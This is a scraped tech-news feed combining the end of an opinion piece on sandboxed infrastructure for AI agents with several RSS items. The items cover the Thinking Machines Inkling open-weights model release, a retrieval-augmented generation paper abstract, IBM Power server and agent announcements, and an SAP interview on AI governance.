<p class="wp-block-paragraph">Agent workloads change the threat model at the infrastructure level. A compromised stateless service exposes a narrow surface defined by its API contracts. A compromised agent exposes every system it can reach, every credential it holds and every action it is authorized to take on behalf of the user. Agents generate and execute their own code, make non-deterministic tool-call decisions and accumulate context across long-running sessions. Standard container namespacing does not contain that kind of risk. Kernel-level isolation, default-deny network egress, scoped credentials per session and agent-aware observability are not optional hardening steps. They are baseline requirements for running agents in production.</p>



<h2 class="wp-block-heading">What teams that ship agents have already figured out</h2>



<p class="wp-block-paragraph">Some of the clearest evidence for this shift comes not from infrastructure vendors but from product engineering teams running agents at scale on their own code. In late 2025, Ramp’s engineering team published a<a href="https://url.usb.m.mimecastprotect.com/s/Co8bCDwO0Ohg2PpXhAiRfjbcM8?domain=engineering.ramp.com" target="_blank" rel="noreferrer noopener"> detailed account of building Inspect</a>, their internal background coding agent. Each Inspect session runs in a sandboxed VM with a full-stack development environment and deep integrations across their observability, CI, and deployment tooling. The architecture requirements map almost exactly to the four primitives above. Filesystem snapshots keep sessions starting in seconds rather than minutes. Sessions are isolated and stateful. The agent can run tests, review telemetry, query feature flags and visually verify frontend changes in a real browser. And the whole system supports unlimited concurrency, so engineers can spin up ten parallel sessions exploring different approaches to the same problem without contention.</p>



<p class="wp-block-paragraph">The results speak for themselves. Within months of launch, roughly 30 percent of all pull requests merged to Ramp’s frontend and backend repositories were written by Inspect. That level of adoption was not mandated. It happened because the execution environment was fast enough, capable enough and well-integrated enough that the agent was strictly better than a local workflow for a meaningful share of tasks. The key insight from the Ramp case is not about the model. It is about the execution layer. As their team put it, session speed should only be limited by model-provider time-to-first-token; everything else, like cloning and installing, needs to be done before the session starts. That is a statement about infrastructure, not intelligence.</p>



<h2 class="wp-block-heading">The ecosystem is catching up, but defaults are sticky</h2>



<p class="wp-block-paragraph">None of that is a criticism of the tools. Kubernetes solved exactly the problem it was designed for, and it solved it well. The issue is that infrastructure defaults are sticky. Teams inherit them, build on top of them and optimize within their constraints long after the underlying workload has changed. The Kubernetes community’s own response, the<a href="https://url.usb.m.mimecastprotect.com/s/U22qCA8LmLh7yY0jIGfGfGdvGo?domain=kubernetes.io/" target="_blank" rel="noreferrer noopener"> Agent Sandbox project under SIG Apps</a>, validates the thesis that a new abstraction is necessary. The new primitives the community is building include warm pools for near-zero cold starts, lifecycle management for suspending and resuming idle agents without losing state, and pluggable kernel isolation for secure execution of untrusted code. These are not incremental improvements to existing resources. They are net-new abstractions that acknowledge the old model does not stretch to fit.</p>



<p class="wp-block-paragraph">But adoption of purpose-built agent infrastructure remains early. Enterprises building agent pipelines today are largely running a request-oriented orchestration model against an execution-oriented workload, and the mismatch shows up in task failure rates, runaway costs and debugging cycles that have no good tooling because the observability layer was also designed for stateless services.</p>



<h2 class="wp-block-heading">The structural advantage is available now</h2>



<p class="wp-block-paragraph">The infrastructure to close that gap exists now. The prerequisite is recognizing that agent execution is a first-class compute pattern with its own primitives and its own requirements, not a variant of the stateless service model that defined the last decade. Teams that make that shift early will have a meaningful structural advantage. The ones that do not will spend the next two years wondering why their agent systems are unreliable at a scale that should be tractable.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[What public money does to open-source projects]]></title>
<description><![CDATA[Most of the software running inside a typical company was written by volunteers the company never paid. Open-source code sits under web apps, build pipelines, and the machine learning stacks getting so much attention right now. Roughly 96 percent of codebases carry some of it. That dependence tur...]]></description>
<link>https://tsecurity.de/de/3672433/it-security-nachrichten/what-public-money-does-to-open-source-projects/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672433/it-security-nachrichten/what-public-money-does-to-open-source-projects/</guid>
<pubDate>Thu, 16 Jul 2026 07:37:36 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Most of the software running inside a typical company was written by volunteers the company never paid. Open-source code sits under web apps, build pipelines, and the machine learning stacks getting so much attention right now. Roughly 96 percent of codebases carry some of it. That dependence turned visible in December 2021, when the log4j flaw exposed applications from Twitter to Minecraft. The xz utils backdoor of 2024 drove the point home again. Both traced … <a href="https://www.helpnetsecurity.com/2026/07/16/open-source-projects-funding-impact/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/16/open-source-projects-funding-impact/">What public money does to open-source projects</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
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<title><![CDATA[Thinking Machines open sources first multimodal language model, Inkling, focused on low cost and 'resistance to censorship']]></title>
<description><![CDATA[Enterprises looking to move more of their agentic AI workloads to open weights models they can customize, control and run on-premises or in virtual private clouds have a strong new contender to consider.Today, Thinking Machines—the highly capitalized American AI startup founded by former OpenAI C...]]></description>
<link>https://tsecurity.de/de/3672034/it-nachrichten/thinking-machines-open-sources-first-multimodal-language-model-inkling-focused-on-low-cost-and-resistance-to-censorship/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672034/it-nachrichten/thinking-machines-open-sources-first-multimodal-language-model-inkling-focused-on-low-cost-and-resistance-to-censorship/</guid>
<pubDate>Thu, 16 Jul 2026 00:46:37 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Enterprises looking to move more of their agentic AI workloads to open weights models they can customize, control and run on-premises or in virtual private clouds have a strong new contender to consider.</p><p>Today, Thinking Machines—the highly capitalized American AI startup founded by former OpenAI CTO Mira Murati—<a href="https://thinkingmachines.ai/news/introducing-inkling/">released Inkling</a>, its first major language model under an<a href="https://choosealicense.com/licenses/apache-2.0/"> enterprise-friendly Apache 2.0 open source license</a>, and it boasts high, if sub state-of-the-art, performance for open weights models on third-party benchmarks, specifically software engineering (77.6% on SWE-bench Verified, where it beats fellow U.S. open rival Nvidia Nemotron 3's 71.9%) and voice understanding (91.4% on VoiceBench compared to 94.4% for Gemini 3.1 Pro on high reasoning effort).</p><p>Another differentiator: Thinking Machines notes that Inkling was designed "to answer directly on topics that may be subject to censorship," offering enterprises concerned about factual outputs, irrespective of controversy or sensitivity, a more trustworthy option. </p><p>Coming in at 975 billion total parameters, Inkling is a natively multimodal, open-weights Mixture-of-Experts (MoE) system capable of reasoning across text, images, and audio. The weights <a href="https://huggingface.co/thinkingmachines/Inkling">are already available on Hugging Face</a> and the company's own model training application programming interface (API), <a href="https://thinkingmachines.ai/tinker/">Tinker</a>.</p><p>Designed to balance cost against performance through a novel "controllable thinking effort" mechanism, the model represents a significant departure from the black-box scaling strategies of frontier competitors.</p><p>Alongside the flagship model, Thinking Machines also announced a preview of Inkling-Small, a lighter 276-billion-parameter alternative optimized for workloads where low latency and cost are paramount.</p><h2><b>Benchmarks Show a Powerful, High-End, Sub State-of-the-Art Model</b></h2><p>While Inkling is a formidable multimodal engine, it lands in a fiercely competitive 2026 open-weight landscape characterized by highly specialized MoE architectures. Rather than attempting to dominate every leaderboard, Thinking Machines explicitly designed Inkling—with 975 billion total and 41 billion active parameters—as a broad, balanced generalist. </p><p>For example, it comes in near the middle high-end of benchmark performance 1257 on Design Arena’s Agentic Web Dev leaderboard measuring human scores of frontend web design. </p><p>But China’s leading AI labs have produced models with elite reasoning and coding capabilities, posing a stiff challenge to Inkling's generalist approach and ultimately outperforming it on general and coding benchmarks.</p><ul><li><p><b>GLM 5.2:</b> Widely considered the top open-weight reasoning model available in the benchmark set, GLM 5.2 outperforms Inkling on pure coding, agentic, and complex reasoning tasks. It scores 62.1% on SWEBench Pro (Public) compared to Inkling’s 54.3%, and a massive 82.7 on Terminal Bench 2.1 against Inkling’s 63.8. GLM 5.2 also holds the edge in text-only reasoning, scoring 40.1% on HLE (text only) versus Inkling's 30.0%.</p></li><li><p><b>DeepSeek V4 Pro:</b> DeepSeek maintains an edge in several strict coding and factuality domains, beating Inkling on SWEBench Verified (80.6% vs. 77.6%) and SimpleQA Verified (57.0% vs. 43.9%). However, Inkling successfully overtakes DeepSeek V4 Pro in mathematical problem-solving, achieving 97.1% on AIME 2026 compared to DeepSeek's 96.7%.</p></li><li><p><b>Kimi K2.6:</b> This model outpaces Inkling across multiple technical benchmarks, delivering higher scores on GPQA Diamond (91.1% vs. 87.9%), BrowseComp (83.2% vs. 77.1%), and HLE with tools (54.0% vs. 46.0%). Yet Inkling proves more resilient on general chat instruction following, scoring 79.8% on IFBench compared to Kimi K2.6's 76.0%.</p></li></ul><p>Against its primary U.S.-based open-weight competition, Inkling demonstrates strong parity and frequent superiority.</p><ul><li><p><b>Nemotron 3 Ultra:</b> Inkling consistently outperforms this U.S. rival across reasoning and coding. Inkling posts 97.1% on AIME 2026 and 77.6% on SWEBench Verified, beating Nemotron's 94.2% and 70.7%, respectively. Furthermore, Inkling significantly leads in agentic workflows, scoring 74.1% on MCP Atlas against Nemotron's 44.7%.</p></li></ul><p>When compared to closed-source juggernauts like Claude Fable 5, GPT 5.6 Sol, and Gemini 3.1 Pro, Inkling trails in peak reasoning and software engineering autonomy, but remains highly competitive in multimodality.</p><ul><li><p><b>Coding and Reasoning:</b> Closed models maintain a commanding lead. Claude Fable 5 (max) hits 95.0% on SWEBench Verified and 53.3% on HLE (text only), far outpacing Inkling's 77.6% and 30.0%. GPT 5.6 Sol dominates Terminal Bench 2.1 with an 89.5, easily clearing Inkling's 63.8.</p></li><li><p><b>Native Multimodality:</b> Inkling's native visual and audio capabilities hold their own. On the MMMU Pro (Standard 10) vision benchmark, Inkling's 73.3% is competitive, though trailing Claude Fable 5's 84.2% and GPT 5.6 Sol's 83.0%. In audio processing, Inkling scores a highly respectable 77.2% on MMAU, keeping it within striking distance of Gemini 3.1 Pro's 82.5%.</p></li></ul><p>If an enterprise workflow demands elite software engineering autonomy or the highest bounds of text-only reasoning, models like GLM 5.2 or proprietary systems like Claude Fable 5 maintain the edge. </p><p>However, Inkling carves out a unique and highly defensible position: it is the most capable open-weight foundation model that natively fuses text, vision, and audio, while simultaneously offering developers direct programmatic control over the cost-to-performance ratio. </p><h2><b>The Shift from Static Reasoning to Controllable Thinking</b></h2><p>Rather than attempting to build a singular "god model" optimized strictly for state-of-the-art benchmark domination, Thinking Machines engineered Inkling for adaptability and efficiency in real-world workflows.</p><p>The standout feature of this release is Inkling's "controllable thinking effort." Developers can programmatically adjust the model's reasoning budget—scaling from 0.2 to 0.99—to dictate how hard the AI should "think" before generating an output. </p><p>As the company noted, "Inkling's continuous thinking effort lets you pick your point on the cost/performance curve—reaching the same score with a fraction of the tokens".</p><p>In practical terms, this allows enterprises to deploy Inkling with lower token expenditure for simpler tasks, while cranking up the compute overhead for complex, multi-step reasoning challenges. However, by keeping the thinking effort lower and generating fewer tokens, the cost-conscious enterprise can achieve high quality results and performance on simple tasks while spending less money, or, in the case of those running models locally, less costs on energy and compute resources.</p><p>During the model’s large-scale reinforcement learning (RL) training over 30 million rollouts, researchers observed an emergent phenomenon they called "chain of thought condensation". Over time, Inkling naturally learned to compress its internal reasoning steps—dropping grammatical overhead and connectives—while reaching the same accurate conclusions, resulting in drastically reduced latency.</p><h2><b>Epistemics and Censorship Resistance</b></h2><p>A notable element of Thinking Machines' release is its explicit focus on the model's epistemics—specifically its calibration, instruction following, and resistance to censorship. </p><p>In an ecosystem where open-weight models adopt either overly restrictive safety guardrails or echo state-aligned ideological talking points, Inkling was intentionally trained to answer directly on politically sensitive or heavily censored topics.</p><p>To validate this approach, Thinking Machines submitted Inkling to the <i>Propaganda and Censorship Eval</i> developed by AI startup Cognition. According to the published findings, Inkling demonstrated "strong patterns of censorship non-compliance," effectively resisting ideological capture or boilerplate refusals when presented with sensitive subjects.</p><p>Despite its resistance to censorship, the model maintains a robust defense against genuinely malicious, dangerous, or illegal queries. On the StrongREJECT benchmark—which tests responses to unambiguous harmful requests—Inkling scored 98.6%, placing it in line with strict frontier safety standards. Furthermore, on the FORTRESS benchmark, Inkling successfully navigated the line between safety and over-refusal: it achieved a 78.0% refusal rate on adversarial queries (such as those involving weapons, cyberattacks, or violence) while maintaining a 95.9% compliance rate on benign, look-alike queries.</p><p>Thinking Machines noted that typical open-weight vulnerabilities remain within the architecture. Internal safety evaluations revealed an "occasional tendency to comply with role-play and indirectly framed prompts concerning harmful topics". The company advised enterprise developers to treat the model's built-in refusals as just one layer of security, recommending the downstream deployment of external moderation tools—such as Llama Guard—to filter adversarial jailbreaks and enforce use-case-specific safety policies at the application level.</p><h2><b>Under the Hood: Architecture and Multimodality</b></h2><p>Inkling's scale is staggering, yet sparse. The MoE architecture features 975 billion total parameters, but only 41 billion parameters are active during any given token generation. It supports a massive context window of 1 million tokens and diverges from typical transformer models by using relative positional embeddings instead of the industry-standard Rotary Positional Embedding (RoPE).</p><p>True to the company's foundational vision, Inkling was trained from scratch to be natively multimodal. Unlike models that rely on bolted-on external encoders, Inkling uses an encoder-free early fusion approach. It directly ingests audio as discrete dMel spectrograms and visual data as 40x40 pixel patches via a hierarchical multi-layer perceptron (hMLP), projecting all modalities into a shared hidden space.</p><h2><b>Licensing: True Open-Source for the Enterprise</b></h2><p>For enterprise IT teams and developers, the most disruptive aspect of Inkling may be its licensing. Inkling is released under the permissive Apache 2.0 license.</p><p>In an ecosystem where many so-called "open" models from Western labs are tethered to dual-use commercial licenses, acceptable use restrictions, or revenue caps, an Apache 2.0 designation makes Inkling a true open-source foundation. This gives developers the legal freedom to download, modify, integrate, and commercialize the model weights entirely royalty-free.</p><p>The model is readily deployable across major open-source inference libraries—including SGLang, vLLM, TokenSpeed, and llama.cpp—and comes with a native NVFP4 quantized checkpoint optimized for NVIDIA Blackwell systems.</p><h2><b>Community Reactions: The Engineering Feat</b></h2><p>The AI community's response has been swift, praising both the model's openness and the underlying engineering execution.</p><p>In a<a href="https://x.com/johnschulman2/status/2077460227327467982"> post on X</a>, Thinking Machines co-founder John Schulman reflected on the rapid development cycle: "Inkling is out today, with open weights and in Tinker. It's been fun to watch this one come together: pretraining began last winter, and starting in mid-January a small team built up the coding, reasoning, and agentic training from there. We learned a lot building it, and I hope people find good uses for it."</p><div></div><p>Horace He, a researcher at Thinking Machines (previously from PyTorch), underscored the difficulty of the task in <a href="https://x.com/cHHillee/status/2077457790423969806">another post on X</a>: "It truly takes a village to release a model, perhaps especially an open weights model. Actually doing the entire process from scratch, from data to pretraining to posttraining to actual release, gives a lot of appreciation for anyone who does it!"</p><div></div><p>The broader open-source ecosystem has also embraced the technical integrations. Lysandre Debut, the Chief Open-Source Officer at Hugging Face, shared his enthusiasm regarding the model's optimization<a href="https://x.com/LysandreJik/status/2077459011285512267"> in his own X post</a>: "One thing I find quite striking is how much easier accelerating models has become... We replaced the model's causal Conv1D with the `causal-conv1d` kernel. One line changed, +4% tokens per second. We then replaced its attention implementation with FlashAttention-4. Another single change, another +11%. That's a total throughput improvement of about 15%, without changing the model architecture or retraining anything."</p><p>Tiezhen Wang, an ecosystem growth expert and ex-Googler, celebrated the release as a massive win for the open-source community, listing the model's impressive specifications on X, highlighting its "975B total, 41B active" size, "Native MTP support," and the highly coveted "Apache 2.0 license."</p><h2><b>Background: The Road to Inkling</b></h2><p>To understand the significance of Inkling, one has to look back at the rapid trajectory of Thinking Machines over the past 18 months.</p><p>When<a href="https://venturebeat.com/technology/ex-openai-cto-mira-murati-unveils-thinking-machines-a-startup-focused-on-multimodality-human-ai-collaboration"> Mira Murati departed OpenAI in late 2024 to found Thinking Machines</a> alongside industry veterans like John Schulman and Barret Zoph, the stated goal was to pivot away from building isolated autonomous agents. Instead, the company aimed to build flexible, multimodal systems designed for genuine human-AI collaboration and open science.</p><p>By July 2025, the startup had secured a historic $2 billion seed round led by Andreessen Horowitz at a $12 billion valuation. At the time, Murati promised the<a href="https://venturebeat.com/technology/mira-murati-says-her-startup-thinking-machines-will-release-new-product-in-months-with-significant-open-source-component"> impending release of a product with a "significant open source component" </a>to empower researchers and startups.</p><p>The company’s philosophy began coming into sharper focus in October 2025 with the launch of <a href="https://venturebeat.com/technology/thinking-machines-first-official-product-is-here-meet-tinker-an-api-for">Tinker</a>, a Python-based API for large language model fine-tuning that gave researchers granular control over training pipelines without the friction of distributed compute management.</p><p>That same month, Thinking Machines researcher <a href="https://venturebeat.com/ai/thinking-machines-challenges-openais-ai-scaling-strategy-first">Rafael Rafailov delivered a provocative critique of the AI industry at TED AI</a>. He argued that the current trajectory of simply throwing more compute at models was fundamentally flawed, noting that today's systems take shortcuts—like wrapping code in<code> try/except</code> blocks—because they are trained strictly for task completion rather than genuine learning. </p><p>Rafailov posited that the first artificial superintelligence would not be a "god model," but rather a "superhuman learner" capable of meta-learning and internalizing abstractions. Inkling’s architecture—specifically its controllable thinking effort and its ability to organically compress its chain of thought during RL—feels like the first tangible realization of Rafailov's thesis.</p><p>In May 2026, the lab teased its technical prowess with the<a href="https://venturebeat.com/technology/thinking-machines-shows-off-preview-of-near-realtime-ai-voice-and-video-conversation-with-new-interaction-models"> research preview of TML-Interaction-Small</a>, a system that eliminated "turn-based" chat by processing inputs and outputs simultaneously in 200ms chunks. This "full-duplex" breakthrough proved the company could build highly responsive, natively multimodal models from scratch.</p><p>Now, with Inkling out in the wild, Thinking Machines has delivered on its foundational promises. By offering a massive, natively multimodal model under a true open-source license, they aren't just giving developers a new tool—they are attempting to fundamentally rewrite the economics and accessibility of frontier AI development.</p>]]></content:encoded>
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<title><![CDATA[CLaRa: Bridging Retrieval and Generation with Continuous Latent Reasoning]]></title>
<description><![CDATA[Retrieval-augmented generation (RAG) enhances large language models (LLMs) with external knowledge but still suffers from long contexts and disjoint retrieval–generation optimization. In this work, we propose CLaRa (Continuous Latent Reasoning), a unified framework that performs embedding-based c...]]></description>
<link>https://tsecurity.de/de/3671793/ai-nachrichten/clara-bridging-retrieval-and-generation-with-continuous-latent-reasoning/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671793/ai-nachrichten/clara-bridging-retrieval-and-generation-with-continuous-latent-reasoning/</guid>
<pubDate>Wed, 15 Jul 2026 22:18:55 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Retrieval-augmented generation (RAG) enhances large language models (LLMs) with external knowledge but still suffers from long contexts and disjoint retrieval–generation optimization. In this work, we propose CLaRa (Continuous Latent Reasoning), a unified framework that performs embedding-based compression and joint optimization in a shared continuous space. To obtain semantically rich and retrievable compressed vectors, thereby reducing the document length fed into the generator, we introduce SCP, a key-preserving data synthesis framework based on question-answering and paraphrase…]]></content:encoded>
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<title><![CDATA[IBM targets AI edge with Power server, software upgrades]]></title>
<description><![CDATA[IBM has bolstered its Power server portfolio with a new edge S1112 server and announced IBM Power Autonomous Operations, an AI agent that helps customers monitor Power systems and autonomously resolve issues to keep operations running smoothly. Additional software upgrades are aimed at helping cu...]]></description>
<link>https://tsecurity.de/de/3671628/it-security-nachrichten/ibm-targets-ai-edge-with-power-server-software-upgrades/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671628/it-security-nachrichten/ibm-targets-ai-edge-with-power-server-software-upgrades/</guid>
<pubDate>Wed, 15 Jul 2026 20:37:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
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<p class="wp-block-paragraph">IBM has bolstered its <a href="https://www.networkworld.com/article/4018955/ibm-pumps-up-ai-security-for-new-enterprise-power11-server-family.html">Power</a> server portfolio with a new edge S1112 server and announced IBM Power Autonomous Operations, an AI agent that helps customers monitor Power systems and autonomously resolve issues to keep operations running smoothly. Additional software upgrades are aimed at helping customers deploy and manage <a href="https://www.networkworld.com/article/4131660/ibm-research-when-ai-and-quantum-merge.html">AI</a> infrastructure components. </p>



<p class="wp-block-paragraph">“Each announcement addresses a different layer of the enterprise technology stack, from how infrastructure is deployed and managed to how applications are developed, modernized, and optimized,” wrote Brandon Pederson, senior IBM i product manager, in a <a href="https://community.ibm.com/community/user/blogs/brandon-pederson1/2026/07/07/ibm-power-advancing-autonomous-it-ai-ready-infrast">blog post</a> about the new products. “Together, they reinforce a broader direction for IBM Power of helping clients move from manually operated infrastructure toward intelligent, resilient, and AI-assisted systems that are easier to manage, easier to modernize, and ready for new workloads.” </p>



<p class="wp-block-paragraph">The new <a href="https://www.ibm.com/docs/en/announcements/power-s1112-server">IBM Power S1112</a> is a one‑socket Power11 server engineered for IBM i, AIX, and Linux. Aimed at distributed and edge locations, it is Big Blue’s new entry-level i server and is AI‑ready by design, integrating on‑chip Matrix Math Acceleration (MMA) for fast inferencing and other AI‑driven use cases, such as support for AI-assisted decisions, automation, and analytics close to where data is generated and consumed, Pederson stated.</p>



<p class="wp-block-paragraph">The server supports two configurations: a 10-core 3.05 to 4.0 Ghz Power11 Processor in a rack version only, and a 4-core 3.60 to 4.0 Ghz Power11 in rack and tower form factors, IBM stated.</p>



<p class="wp-block-paragraph">“For IBM i clients, Power S1112 is especially important because it expands what entry IBM i environments can do. IBM i P05 clients can run IBM i partitions within the P05 software tier while also using additional system resources for AIX, Linux, VIOS, AI, or open-source workloads on the same server,” Pederson wrote. “This creates a flexible path to consolidate workloads, improve utilization, and support modernization without forcing clients into a larger platform than they need.”</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="683" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;</figure><p class="imageCredit">Thomas Prior for IBM</p></div>



<h3 class="wp-block-heading">Announced: IBM Power Autonomous Operations</h3>



<p class="wp-block-paragraph">On the software side, IBM Power Autonomous Operations offers automation capabilities via an embedded AI agent that offers natural language interactions designed to help customers manage, tune, and streamline their environments without relying on deep domain expertise for every task, Pederson stated.</p>



<p class="wp-block-paragraph">“IBM Power Autonomous Operations is designed to continuously monitor, optimize, protect, and manage Power environments. It combines Power telemetry, AI-powered analytics, automation, and operational workflows into a unified experience that helps IT teams reduce complexity, improve resiliency, and increase productivity,” Pederson wrote. </p>



<p class="wp-block-paragraph">“Rather than simply showing operators what is happening, Power Autonomous Operations is designed to help teams decide what to do next. The platform analyzes system telemetry, identifies risks and optimization opportunities, and provides intelligent recommendations or automated actions to improve performance, resiliency, and operational efficiency,” Pederson wrote.</p>



<h3 class="wp-block-heading">Agentic Engine for IBM i</h3>



<p class="wp-block-paragraph">IBM also issued a <a href="https://community.ibm.com/community/user/blogs/brandon-pederson1/2026/07/07/ibm-power-advancing-autonomous-it-ai-ready-infrast">preview</a> of the Agentic Engine for IBM i, which is aimed at providing greater AI support for Power systems. </p>



<p class="wp-block-paragraph">IBM described the Agentic Engine as a new enablement layer designed to make it easier to adopt native and integrated AI agents into IBM i workloads and business processes. The engine provides the runtime, IBM i Knowledge Pack, observability, extensibility, MCP server, and foundational agents that help teams build trusted agents for IBM i without starting from scratch. Developers can build agents using their preferred coding tools, run them close to Db2 for i data under native IBM i object-level authority, and extend them into broader enterprise workflows through APIs and agent-to-agent integration.</p>



<p class="wp-block-paragraph">With security, governance, and instrumentation built in, the Agentic Engine for IBM i helps organizations manage agent behavior, monitor activity, and support responsible adoption across mission-critical environments, Pederson stated.</p>



<h3 class="wp-block-heading">IBM Bob Premium Package for i</h3>



<p class="wp-block-paragraph">Also in the AI agent vein, IBM announced support for its <a href="https://newsroom.ibm.com/2026-07-09-ibm-advances-enterprise-ai-software-development-with-multi-agent-capabilities-and-specialized-modernization-workflows">Bob AI</a> application development environment for the i system. The idea here is to help customers quickly modernize applications built on RPG and COBOL.</p>



<p class="wp-block-paragraph">“These capabilities help developers explain complex RPG and COBOL programs, convert Fixed-Format RPG to modern Free-Format RPG, refactor monolithic applications into modular structures, generate RPG, CL, COBOL and DDS code, create technical documentation, and produce unit tests to support validation,” Pederson wrote. “Rather than relying on generic prompts and inconsistent results, IBM i teams can use expert-built skills that deliver more predictable, repeatable and higher-quality outcomes. Agentic workflows help guide multi-step development tasks from understanding and planning through implementation and validation, allowing developers to modernize incrementally without losing control.”</p>



<p class="wp-block-paragraph">IBM also added new development features to the core operating system for i with <a href="https://www.ibm.com/docs/en/announcements/i-76-technology-refresh-2-driving-modern-secure-more-accessible-innovation">IBM i 7.6 Technology Refresh 2</a> and i 7.5 Technology Refresh 8 that include a variety of features designed to enhance RPG and COBOL development, security, and hybrid cloud integration.</p>



<p class="wp-block-paragraph">IBM Power S1112 is expected to be generally available on July 24, IBM Power Autonomous Operations is expected to be generally available on September 23, 2026, and IBM Bob Premium Package for i was made generally available on June 24, 2026.</p>
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<title><![CDATA[AI is paying off, but governance is lagging behind]]></title>
<description><![CDATA[Enterprises are facing two simultaneous challenges with AI: The risks associated with it are evolving faster than governance frameworks, while the business benefits are often difficult to measure.



This is one of the key findings of The Value of AI, a study commissioned by SAP from Oxford Econo...]]></description>
<link>https://tsecurity.de/de/3671333/it-nachrichten/ai-is-paying-off-but-governance-is-lagging-behind/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671333/it-nachrichten/ai-is-paying-off-but-governance-is-lagging-behind/</guid>
<pubDate>Wed, 15 Jul 2026 18:33:43 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Enterprises are facing two simultaneous challenges with AI: The risks associated with it are evolving faster than governance frameworks, while the business benefits are often difficult to measure.</p>



<p class="wp-block-paragraph">This is one of the key findings of <a href="https://www.sap.com/documents/2026/07/92b94d7d-5a7f-0010-bca6-c68f7e60039b.html" target="_blank" rel="noreferrer noopener">The Value of AI</a>, a study commissioned by SAP from Oxford Economics. Now in its second year, the study surveyed 2,600 executives from 13 countries worldwide.</p>



<h2 class="wp-block-heading">High expectations, limited preparation</h2>



<p class="wp-block-paragraph">On average, the enterprises surveyed plan to spend around $28 million on AI (up from $26.7 million last year), and expect a 21% ROI (from 16% last year). Expectations for AI agents are particularly high, with ROI expected to reach 17% this year, up from 10% last year. Furthermore, 83% of respondents worldwide said agentic AI has the potential to fundamentally transform their organization. On the other hand, only 3% of respondents said their enterprises were fully prepared for the deployment of AI agents.</p>



<p class="wp-block-paragraph">There are gaps, particularly when it comes to governance:</p>



<ul class="wp-block-list">
<li>Only 12% of respondents said their skills or processes were able to govern AI effectively,</li>



<li>38% do not have human-in-the-loop processes in place for oversight of AI agents, and</li>



<li>only 63% have established permissions and access controls for agents.</li>
</ul>



<p class="wp-block-paragraph">Other concerns include weaknesses in the organization of AI deployment, poor data quality, insufficient employee training, and the widespread use of shadow AI.</p>



<h2 class="wp-block-heading">Governance is the bigger challenge</h2>


<div class="extendedBlock-wrapper block-coreImage right"><figure class="wp-block-image alignright size-large is-resized"> width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption">Sean Kask, Chief AI Strategy Officer at SAP </figcaption></figure><p class="imageCredit">SAP</p></div>



<p class="wp-block-paragraph">In an interview, <a href="https://www.linkedin.com/in/seankask/" target="_blank" rel="noreferrer noopener">Sean Kask</a>, Chief AI Strategy Officer at SAP, commented on the study’s key findings.</p>



<p class="wp-block-paragraph"><em>Mr. Kask, in the study’s foreword, you write that companies are currently facing two challenges simultaneously: The risks associated with AI are evolving faster than governance, while the business benefits are often difficult to measure. Which of these poses the greater problem for companies?</em></p>



<p class="wp-block-paragraph"><strong>Sean Kask:</strong> Measuring the business value of IT investments has never been easy. The same applies to AI. That’s why I currently consider the governance issue to be the greater challenge. While traditional governance principles and best practices for secure software development remain important even in the age of large language models and agent-based AI, entirely new risks are emerging at the same time.</p>



<p class="wp-block-paragraph">For example, as soon as companies roll out AI on a broad scale, they suddenly discover hundreds or even thousands of so-called shadow agents that employees are using without central oversight. Or they find that a significant portion of the workforce is copying content into private ChatGPT accounts. Such risks often only become apparent once AI is already being used productively.</p>



<p class="wp-block-paragraph"><em>According to your study, German companies invest an average of nearly $40 million in AI, more than companies in all other countries surveyed. Why is that?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> I was less surprised by the amount of investment than by the fact that, overall, the level of investment and the return on investment achieved have developed very similarly across the various countries. There’s no clear answer as to why Germany invests more. In part, it’s likely simply because costs here are higher than in India, for example.</p>



<p class="wp-block-paragraph">However, we’re also seeing a high level of AI adoption among German companies. SAP has a dashboard that allows us to track how our customers are using AI features. Germany is among the countries with particularly high usage. Added to this are the strong industrial base and the political impetus from Europe, which are driving the use of AI. Accordingly, companies there are making targeted investments in building the necessary expertise.</p>



<p class="wp-block-paragraph"><em>According to the study, 47% of German companies are satisfied with the return on investment from their AI investments. At the same time, 77% say they are still far from realizing AI’s full potential. Isn’t that a contradiction?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> No, we see this pattern worldwide. Companies initially invest in a few AI use cases and realize: This works; we’re creating added value. Accordingly, they’re satisfied with their investment.</p>



<p class="wp-block-paragraph">But this is precisely what leads them to identify further use cases. They explore AI agents and want to utilize them as well. However, it is exactly at this point that many encounter new challenges in implementation and scaling.</p>



<p class="wp-block-paragraph">The study therefore primarily highlights a learning curve: The more experience companies gain with AI, the greater their awareness of its previously untapped potential becomes.</p>



<p class="wp-block-paragraph"><em>According to the study, only 33% of companies surveyed have KPIs at the executive board level that are directly linked to the implementation of AI. In your view, which metrics should supervisory boards and CEOs definitely be tracking?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> For us, a key indicator is employee enablement. How many employees have already successfully completed training or upskilling programs related to AI? Without the appropriate skills, AI adoption will fall short of its potential.</p>



<p class="wp-block-paragraph">Transparency is equally important. Companies should know which AI agents are actually in use within their landscape. SAP offers the SAP AI Agent Hub for this purpose, which automatically discovers and inventories agents from SAP and third-party environments. Customers have already been able to identify thousands of agents this way, which highlights the need for centralized governance and transparency.</p>



